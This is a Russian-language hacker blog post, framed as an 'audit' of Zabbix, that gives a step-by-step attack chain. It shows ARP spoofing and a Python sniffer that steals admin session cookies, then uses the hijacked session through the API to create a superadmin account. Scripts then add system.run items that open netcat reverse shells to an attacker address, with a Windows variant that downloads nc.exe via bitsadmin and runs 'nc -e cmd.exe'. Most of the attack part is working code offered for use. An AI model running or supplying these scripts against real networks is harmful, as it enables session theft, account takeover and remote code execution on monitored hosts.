Проводим аудит Zabbix

by @money_hacker
Проводим аудит Zabbix

Поведать я Вам сегодня хочу о брешах в заббиксе. В нем периодически что-либо находят, поэтому остановимся пока на одной теме – API.

Что мы имеем: наша машина находится в пределах одного широковещательного запроса с админом, который залогинен в системе мониторинга.

Первым делом нам нужно поснифать трафик админа и поймать в нем id его сессии в заббиксе. (по большому счету не важно, как вы этот id добудете – в данном примере через mitm)

Можно использовать mitmf, можно еще что-нибудь. Я пошел классическим способом, обычный arpspoof:

Параллельно запустил скрипт, который из трафика выдергивает нужные нам id:

Сам скрипт:

import socket
import re
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
print ("trying to catch zbx_sessionid")
k = ‘‘
while True:
data = s.recvfrom(65565)
try:
if "HTTP" in data[0][54:]:
raw = data[0][54:]
if "/r/n/r/n" in raw:
line = raw.split(‘/r/n/r/n‘)[0]
print "[*] Header Captured "
value = line
m = re.search("(zbx_sessionid.*)", value)
if m:
str = m.group(0)
k = re.split(r‘/W+‘, str)
print ("session_id is :")
print (k[1])
####Saving zbx_sessionid in file
saved_zbxssids = open(‘zbx_sessionids.txt‘,‘a‘)
saved_zbxssids.write(‘/n‘)
saved_zbxssids.write(k[1])
saved_zbxssids.write(‘/n‘)
saved_zbxssids.close()
print ("zabbix session id saved in file zbx_sessionids.txt")
else:
pass
else:
pass
except KeyboardInterrupt:
s.close()

Отлично. Сессию админа перехватили. Далее нужно эту сессию скормить в API и создать нового пользователя. Для начала установим модуль PyZabbix:

$ pip install pyzabbix

Запускаем скрипт:

В нем указываем путь до API забикса (по умолчанию http://x.x.x.x/zabbix/api_jsonrpc.php) и будущие логин и пароль.

Скрипт после создания пользователя проверил подключение. Как видим – все ок.

Логинимся в админку – и о чудо – у нас права супер админа

До:

После:

Вроде все здорово, но на этом мы останавливаться не будем. А что, если попробовать провести атаку на хосты, которые мониторятся заббиксом? Сказано – сделано. Для начала через тот же API запросим у сервера, какие хосты он мониторит. Как раньше, вбиваем адрес API, наш созданный логин и пароль:

from pyzabbix import ZabbixAPI
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": /n")
#zbx_sessionid= raw_input("enter zbx_sessionid: /n")
user= raw_input("enter username: /n")
password= raw_input("enter password: /n")
#zapi = ZabbixAPI(api_address)
#zapi.login(user, password)
zapi = ZabbixAPI(url=api_address, user=user, password=password)
print("Connected to Zabbix API Version %s" % zapi.api_version())
for h in zapi.host.get(output="extend"):
hostid=h[‘hostid‘]
host=h[‘host‘]
print ("found host: ",host,"hostid: ",hostid)

После буквы “u” написаны имена обслуживаемых хостов. Сохраняем их. Они нам понадобятся дальше.

И напоследок запускаем этот скрипт:

from pyzabbix import ZabbixAPI, ZabbixAPIException
import sys
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://x.x.x.x/zabbix/api_jsonrpc.php"": /n")
user= raw_input("enter username: /n")
password= raw_input("enter password: /n")
hostname=raw_input("enter hostname: /n")
# hostid=raw_input("enter hostid: /n")
#zapi = ZabbixAPI(api_address)
# Login to the Zabbix API
#zapi.login(user, password)
zapi = ZabbixAPI(url=api_address, user=user, password=password)
host_name = hostname
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create( hostid=host_id,
name=‘netcat_create_reverse_shell‘,
key_=‘system.run["nc x.x.x.x 3333"]‘, # тут указываем адрес и порт для бэк коннекта
type=0, value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=5)
except ZabbixAPIException as e:
print(e)
sys.exit()
print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
else:
print("No hosts found")

Снова вводим наши логин и пароль, запускаем NetCat на прослушивание порта, который мы указали в скрипте, в поле enter hostname указываем имя хоста с результата работы предыдущего скрипта. Получаем бэк конект на нашу машину. Это возможно из-за встроенной возможности с сервера посылать команды на агент на хосте. Единственное условие, чтобы в конфиге агента zabbix_agentd.conf был активирован параметр EnableRemoteCommands=1. Не важно на какой ОС установлен агент - главное чтобы он был. Соответственно работает и в Windows:

Нужно в скрипте прописать в параметре key:

system.run["bitsadmin.exe /transfer /download http://x.x.x.x/nc.exe C://Temp//nc.exe && C:/Temp//nc.exe x.x.x.x 3333 -e cmd.exe"]

Предварительно запустив апач и положив туда nc.exe

*********************************************************

Money Hacker - ПОДПИШИСЬ!

June 7, 2018